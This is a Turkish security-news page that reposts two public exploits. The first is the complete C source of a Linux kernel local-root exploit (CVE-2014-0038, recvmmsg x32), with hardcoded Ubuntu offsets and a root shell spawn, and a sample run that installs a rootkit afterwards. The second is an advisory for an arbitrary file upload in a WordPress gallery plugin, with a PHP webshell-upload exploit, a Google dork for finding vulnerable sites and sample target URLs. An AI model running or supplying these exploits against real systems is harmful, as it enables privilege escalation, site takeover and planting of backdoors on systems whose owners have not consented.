SecurityWeb.Org

linux 3.4+ local root (CONFIG_X86_X32=y) ubuntu exploitiyle uzaktan root yetkisi alınabilmektedir. Açığı ilişkin derlenmemiş exploit aşağıdadır.

/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
  * watch www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb  1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};

void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;

    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }

        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }

}

void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;

    uname(&u);

    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }

    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }

    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;

        srand(time(NULL));
    port = (rand() % 30000)+1500;

    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }

    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);

    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }

    memset(msgs, 0, sizeof(msgs));

    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;

    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }

    close(sockfd);

    fprintf(stderr,"\n");

    trigger();
}

WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload açığı bulunmuş olup, açık sayesinde Shell upload edilerek servere ulaşım sağlanmakta ve zararlı kodların çalışmasına neden olunabilmektedir. Açık bulucunun açık hakkındaki değerlendirmeleri ve php exploit aşağıdaki şekilde.

Title:
======
Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability
Date:
=====
2013-09-17
References:
===========
www.vulnerability-lab.com/get_content.php?id=1080
VL-ID:
=====
1080
Common Vulnerability Scoring System:
====================================
6.6
Introduction:
=============
Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website.
The plugin enables a wealth of functionality, but just because you can take advantage of its many features,
doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for
your users. Don’t make the interface more complex than necessary. Less is more!

We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has
188 different settings you can tweak and the Touch Slider has 146 different settings.

(Copy of the Vendor Homepage: codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 )
Abstract:
=========
An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the WordPress Complete Gallery Manager v3.3.3 plugin.
Report-Timeline:
================
2013-09-17:    Public Disclosure (Fuad Pilus)
Status:
========
Published
Affected Products:
==================
CodeCanyon
Product: Complete Gallery Manager 3.3.3
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application.
The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on
application-side of the service.

The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the
other one to execute for example php codes.

Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.

Vulnerable Application(s):
				[+] CodeCanyon - Complete Gallery Manager

Vulnerable Module(s):
				[+] Image File Upload

Vulnerable File(s):
				[+] upload-images.php

Affected Module(s):
				[+] Application Index Listing (localhost:8000/)

Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...

Vuln page :
wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Exploit :

<?php
$uploadfile="up.php";
$ch = curl_init("wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Upload Access Path : wordpress.localhost:8080/wp-content/2013/09/up.php

Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/

Reference(s):
xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).

Credits:
========
Independent Vulnerability Researcher - Fuad Pilus (codernime@gmail.com)
Greetz to : Code Newbie Team - Malaysia & Indonesia BlackHat
Byakuya | Cai | Lord Router | Ops Msia Bersatu | Clound | Agam | Encik Linux | X-Tuned and all official Code-Newbie Member

Disclaimer:
===========
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